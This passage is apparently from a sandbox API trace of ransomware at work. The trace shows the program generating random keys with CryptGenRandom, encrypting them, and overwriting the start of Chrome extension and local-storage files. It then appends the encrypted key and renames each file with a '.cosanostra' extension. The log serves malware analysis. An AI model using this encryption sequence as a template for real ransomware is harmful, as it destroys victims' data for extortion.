data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal.cosanostra")) returned 1 [0104.960] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed68 | out: pbBuffer=0x2abed68) returned 1 [0104.960] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed60*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed60*=0x30) returned 1 [0104.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.961] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 158 [0104.961] StrStrW (lpFirst="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpSrch=".txt") returned 0x0 [0105.016] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.016] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed24, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed24*=0x2800, lpOverlapped=0x0) returned 1 [0105.016] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.016] WriteFile (in: hFile=0x138, lpBuffer=0x2abed64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed24, lpOverlapped=0x0 | out: lpBuffer=0x2abed64*, lpNumberOfBytesWritten=0x2abed24*=0x4, lpOverlapped=0x0) returned 1 [0105.016] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed24, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed24*=0x30, lpOverlapped=0x0) returned 1 [0105.016] CloseHandle (hObject=0x138) returned 1 [0105.017] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.cosanostra") returned 169 [0105.017] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.cosanostra")) returned 1 [0105.021] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed60 | out: pbBuffer=0x2abed60) returned 1 [0105.021] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed58*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed58*=0x30) returned 1 [0105.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.022] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json") returned 164 [0105.022] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.063] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.063] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed1c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed1c*=0x2800, lpOverlapped=0x0) returned 1 [0105.064] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.064] WriteFile (in: hFile=0x138, lpBuffer=0x2abed5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed1c, lpOverlapped=0x0 | out: lpBuffer=0x2abed5c*, lpNumberOfBytesWritten=0x2abed1c*=0x4, lpOverlapped=0x0) returned 1 [0105.064] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed1c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed1c*=0x30, lpOverlapped=0x0) returned 1 [0105.064] CloseHandle (hObject=0x138) returned 1 [0105.064] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json.cosanostra") returned 175 [0105.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0105.066] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed58 | out: pbBuffer=0x2abed58) returned 1 [0105.066] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed50*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed50*=0x30) returned 1 [0105.066] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.067] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json") returned 164 [0105.067] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.071] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.071] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed14, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed14*=0x2800, lpOverlapped=0x0) returned 1 [0105.071] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.071] WriteFile (in: hFile=0x138, lpBuffer=0x2abed54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed14, lpOverlapped=0x0 | out: lpBuffer=0x2abed54*, lpNumberOfBytesWritten=0x2abed14*=0x4, lpOverlapped=0x0) returned 1 [0105.075] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed14, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed14*=0x30, lpOverlapped=0x0) returned 1 [0105.075] CloseHandle (hObject=0x138) returned 1 [0105.075] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json.cosanostra") returned 175 [0105.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json.cosanostra")) returned 1 [0105.077] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed58 | out: pbBuffer=0x2abed58) returned 1 [0105.077] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed50*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed50*=0x30) returned 1 [0105.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.184] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json") returned 164 [0105.184] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.190] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.190] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed14, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abed14*=0x2800, lpOverlapped=0x0) returned 1 [0105.190] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.190] WriteFile (in: hFile=0x160, lpBuffer=0x2abed54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed14, lpOverlapped=0x0 | out: lpBuffer=0x2abed54*, lpNumberOfBytesWritten=0x2abed14*=0x4, lpOverlapped=0x0) returned 1 [0105.191] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed14, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed14*=0x30, lpOverlapped=0x0) returned 1 [0105.191] CloseHandle (hObject=0x160) returned 1 [0105.191] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json.cosanostra") returned 175 [0105.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json.cosanostra")) returned 1 [0105.194] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed50 | out: pbBuffer=0x2abed50) returned 1 [0105.194] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed48*=0x30) returned 1 [0105.194] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.195] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json") returned 164 [0105.195] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.198] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.198] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed0c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abed0c*=0x2800, lpOverlapped=0x0) returned 1 [0105.199] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.199] WriteFile (in: hFile=0x160, lpBuffer=0x2abed4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed0c, lpOverlapped=0x0 | out: lpBuffer=0x2abed4c*, lpNumberOfBytesWritten=0x2abed0c*=0x4, lpOverlapped=0x0) returned 1 [0105.199] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed0c*=0x30, lpOverlapped=0x0) returned 1 [0105.199] CloseHandle (hObject=0x160) returned 1 [0105.199] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json.cosanostra") returned 175 [0105.199] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json.cosanostra")) returned 1 [0105.202] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed48 | out: pbBuffer=0x2abed48) returned 1 [0105.202] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed40*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed40*=0x30) returned 1 [0105.202] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.203] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json") returned 164 [0105.203] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.206] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.206] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed04, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abed04*=0x2800, lpOverlapped=0x0) returned 1 [0105.206] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.206] WriteFile (in: hFile=0x160, lpBuffer=0x2abed44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed04, lpOverlapped=0x0 | out: lpBuffer=0x2abed44*, lpNumberOfBytesWritten=0x2abed04*=0x4, lpOverlapped=0x0) returned 1 [0105.207] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed04, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed04*=0x30, lpOverlapped=0x0) returned 1 [0105.207] CloseHandle (hObject=0x160) returned 1 [0105.207] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json.cosanostra") returned 175 [0105.207] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0105.209] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed40 | out: pbBuffer=0x2abed40) returned 1 [0105.209] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed38*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed38*=0x30) returned 1 [0105.210] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.210] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json") returned 164 [0105.210] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.213] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.213] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abecfc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abecfc*=0x2800, lpOverlapped=0x0) returned 1 [0105.214] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.214] WriteFile (in: hFile=0x160, lpBuffer=0x2abed3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abecfc, lpOverlapped=0x0 | out: lpBuffer=0x2abed3c*, lpNumberOfBytesWritten=0x2abecfc*=0x4, lpOverlapped=0x0) returned 1 [0105.214] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abecfc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abecfc*=0x30, lpOverlapped=0x0) returned 1 [0105.214] CloseHandle (hObject=0x160) returned 1 [0105.214] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json.cosanostra") returned 175 [0105.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0105.217] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed38 | out: pbBuffer=0x2abed38) returned 1 [0105.217] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed30*=0x20, dwBufLen=0x30 | out: 